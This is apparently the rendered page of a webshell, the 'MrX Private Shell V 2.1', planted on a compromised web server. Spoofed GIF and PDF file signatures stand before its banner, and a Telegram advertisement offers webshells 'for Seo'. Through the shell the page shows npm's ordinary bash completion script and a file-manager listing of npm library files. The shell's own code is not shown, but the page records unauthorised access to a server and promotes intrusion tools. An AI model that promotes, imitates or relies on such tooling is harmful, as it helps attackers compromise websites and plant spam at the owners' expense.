GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/bin/bash
###-begin-npm-completion-###
#
# npm command completion script
#
# Installation: npm completion >> ~/.bashrc (or ~/.zshrc)
# Or, maybe: npm completion > /usr/local/etc/bash_completion.d/npm
#
if type complete &>/dev/null; then
_npm_completion () {
local words cword
if type _get_comp_words_by_ref &>/dev/null; then
_get_comp_words_by_ref -n = -n @ -n : -w words -i cword
else
cword="$COMP_CWORD"
words=("${COMP_WORDS[@]}")
fi
local si="$IFS"
if ! IFS=$'\n' COMPREPLY=($(COMP_CWORD="$cword" \
COMP_LINE="$COMP_LINE" \
COMP_POINT="$COMP_POINT" \
npm completion -- "${words[@]}" \
2>/dev/null)); then
local ret=$?
IFS="$si"
return $ret
fi
IFS="$si"
if type __ltrim_colon_completions &>/dev/null; then
__ltrim_colon_completions "${words[cword]}"
fi
}
complete -o default -F _npm_completion npm
elif type compdef &>/dev/null; then
_npm_completion() {
local si=$IFS
compadd -- $(COMP_CWORD=$((CURRENT-1)) \
COMP_LINE=$BUFFER \
COMP_POINT=0 \
npm completion -- "${words[@]}" \
2>/dev/null)
IFS=$si
}
compdef _npm_completion npm
elif type compctl &>/dev/null; then
_npm_completion () {
local cword line point words si
read -Ac words
read -cn cword
let cword-=1
read -l line
read -ln point
si="$IFS"
if ! IFS=$'\n' reply=($(COMP_CWORD="$cword" \
COMP_LINE="$line" \
COMP_POINT="$point" \
npm completion -- "${words[@]}" \
2>/dev/null)); then
local ret=$?
IFS="$si"
return $ret
fi
IFS="$si"
}
compctl -K _npm_completion npm
fi
###-end-npm-completion-###
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| audit-error.js | File | 1.02 KB | 0644 |
|
| auth.js | File | 3.21 KB | 0644 |
|
| cmd-list.js | File | 2.89 KB | 0644 |
|
| completion.fish | File | 1.56 KB | 0644 |
|
| completion.sh | File | 1.85 KB | 0755 |
|
| did-you-mean.js | File | 1.16 KB | 0644 |
|
| display.js | File | 15.38 KB | 0644 |
|
| error-message.js | File | 14.79 KB | 0644 |
|
| explain-dep.js | File | 3.03 KB | 0644 |
|
| explain-eresolve.js | File | 2.56 KB | 0644 |
|
| format-bytes.js | File | 629 B | 0644 |
|
| format-search-stream.js | File | 4.7 KB | 0644 |
|
| format.js | File | 1.91 KB | 0644 |
|
| get-identity.js | File | 802 B | 0644 |
|
| get-workspaces.js | File | 1.71 KB | 0644 |
|
| installed-deep.js | File | 1.1 KB | 0644 |
|
| installed-shallow.js | File | 583 B | 0644 |
|
| is-windows.js | File | 177 B | 0644 |
|
| log-file.js | File | 7.78 KB | 0644 |
|
| npm-usage.js | File | 2.02 KB | 0644 |
|
| open-url.js | File | 2.36 KB | 0644 |
|
| output-error.js | File | 767 B | 0644 |
|
| ping.js | File | 262 B | 0644 |
|
| queryable.js | File | 9.56 KB | 0644 |
|
| read-user-info.js | File | 1.91 KB | 0644 |
|
| reify-finish.js | File | 886 B | 0644 |
|
| reify-output.js | File | 5.65 KB | 0644 |
|
| sbom-cyclonedx.js | File | 5.21 KB | 0644 |
|
| sbom-spdx.js | File | 4.59 KB | 0644 |
|
| tar.js | File | 3.47 KB | 0644 |
|
| timers.js | File | 2.07 KB | 0644 |
|
| update-workspaces.js | File | 1013 B | 0644 |
|
| validate-lockfile.js | File | 1023 B | 0644 |
|
| verify-signatures.js | File | 11.94 KB | 0644 |
|